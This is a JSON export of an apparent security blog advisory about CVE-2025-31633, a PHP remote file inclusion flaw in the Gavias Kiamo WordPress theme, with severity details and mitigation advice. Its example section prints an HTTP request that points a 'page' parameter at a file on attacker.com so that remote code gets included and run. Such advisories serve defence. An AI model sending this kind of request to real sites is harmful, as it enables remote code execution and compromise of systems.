{"id":48033,"date":"2025-06-02T15:54:52","date_gmt":"2025-06-02T15:54:52","guid":{"rendered":""},"modified":"2025-08-07T11:57:18","modified_gmt":"2025-08-07T17:57:18","slug":"cve-2025-31633-php-remote-file-inclusion-vulnerability-in-gavias-kiamo-wordpress-theme","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-31633-php-remote-file-inclusion-vulnerability-in-gavias-kiamo-wordpress-theme\/","title":{"rendered":"<strong>CVE-2025-31633: PHP Remote File Inclusion Vulnerability in Gavias Kiamo WordPress Theme<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>Today, we will dive into the detailed exploration of the cybersecurity vulnerability, CVE-2025-31633. This vulnerability is specific to PHP Remote File Inclusion in the gavias Kiamo &#8211; Responsive Business Service WordPress theme. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32926-critical-path-traversal-vulnerability-in-grand-restaurant-wordpress-theme\/\"  data-wpil-monitor-id=\"54074\">vulnerability affects WordPress<\/a> websites using the Kiamo theme versions up to 1.3.3, and it poses a significant threat to the integrity and confidentiality of the systems involved. If exploited successfully, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39480-critical-deserialization-of-untrusted-data-vulnerability-in-thememakers-car-dealer\/\"  data-wpil-monitor-id=\"53717\">vulnerability can potentially lead to system compromise or data<\/a> leakage, making it a significant concern for businesses that rely on the security and integrity of their data.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-31633<br \/>\nSeverity: High (CVSS: 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Potential <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31049-untrusted-data-deserialization-vulnerability-in-themeton-dash-exposes-systems-to-object-injection\/\"  data-wpil-monitor-id=\"53830\">system compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2003058549\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31912-critical-vulnerability-in-gavias-enzio-responsive-business-wordpress-theme\/\"  data-wpil-monitor-id=\"56068\">Gavias Kiamo &#8211; Responsive Business Service WordPress<\/a> Theme | up to and including 1.3.3<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability CVE-2025-31633 is an improper control of filename for Include\/Require statement in <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46468-high-severity-php-local-file-inclusion-vulnerability-in-wpfable-fable-extra\/\"  data-wpil-monitor-id=\"54086\">PHP Program, commonly known as &#8216;PHP Remote File Inclusion&#8217; vulnerability<\/a>. This vulnerability allows an attacker to manipulate the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47637-critical-unrestricted-file-upload-vulnerability-in-staggs\/\"  data-wpil-monitor-id=\"54167\">PHP include or require statement and point to a remote<\/a> file hosted on an attacker-controlled server. This file could contain arbitrary <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-51360-remote-code-execution-vulnerability-in-hospital-management-system-in-php-v4-0\/\"  data-wpil-monitor-id=\"54342\">PHP code<\/a> that, when included in the server-side code, will be executed with the same privileges as the rest of the application. The potential impact is severe, as this could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39495-high-critical-vulnerability-in-boldthemes-avantage-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"54201\">lead to complete system<\/a> compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-955263584\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>An attacker might use an HTTP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46458-critical-cross-site-request-forgery-csrf-vulnerability-leading-to-sql-injection-in-occupancyplan\/\"  data-wpil-monitor-id=\"55475\">request such as the one below to exploit this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?page=http:\/\/attacker.com\/malicious_file.txt HTTP\/1.1\nHost: vulnerable-website.com<\/code><\/pre>\n<p>In the above example, the attacker is <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53964-critical-file-manipulation-vulnerability-in-goldendict\/\"  data-wpil-monitor-id=\"67170\">manipulating the `page` parameter to point to a malicious file<\/a> hosted on their server (`attacker.com`). When the server processes this request, it includes the contents of the `malicious_file.txt` in the response, thereby <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48828-arbitrary-php-code-execution-in-vbulletin-via-template-conditionals\/\"  data-wpil-monitor-id=\"55717\">executing the attacker&#8217;s code<\/a>.<\/p>\n<p><strong>Mitigation and Prevention<\/strong><\/p>\n<p>The best way to address this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49002-critical-vulnerability-in-dataease-bypassing-patch-for-cve-2025-32966\/\"  data-wpil-monitor-id=\"60476\">vulnerability is by applying the vendor patch<\/a>. If a patch is not available or cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can be configured to block or alert on attempts to exploit this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4366-request-smuggling-vulnerability-in-pingora-s-proxying-framework\/\"  data-wpil-monitor-id=\"56571\">vulnerability by looking for known malicious patterns in HTTP requests<\/a>. Additionally, developers should ensure that they are following secure coding practices, such as <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-1041-critical-improper-input-validation-vulnerability-in-avaya-call-management-system\/\"  data-wpil-monitor-id=\"60475\">validating<\/a> and sanitizing input and avoiding the use of user input directly in include or require statements.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview Today, we will dive into the detailed exploration of the cybersecurity vulnerability, CVE-2025-31633. This vulnerability is specific to PHP Remote File Inclusion in the gavias Kiamo &#8211; Responsive Business Service WordPress theme. The vulnerability affects WordPress websites using the Kiamo theme versions up to 1.3.3, and it poses a significant threat to the integrity [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-48033","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/48033","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=48033"}],"version-history":[{"count":13,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/48033\/revisions"}],"predecessor-version":[{"id":61007,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/48033\/revisions\/61007"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=48033"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=48033"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=48033"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=48033"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=48033"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=48033"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=48033"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=48033"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=48033"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}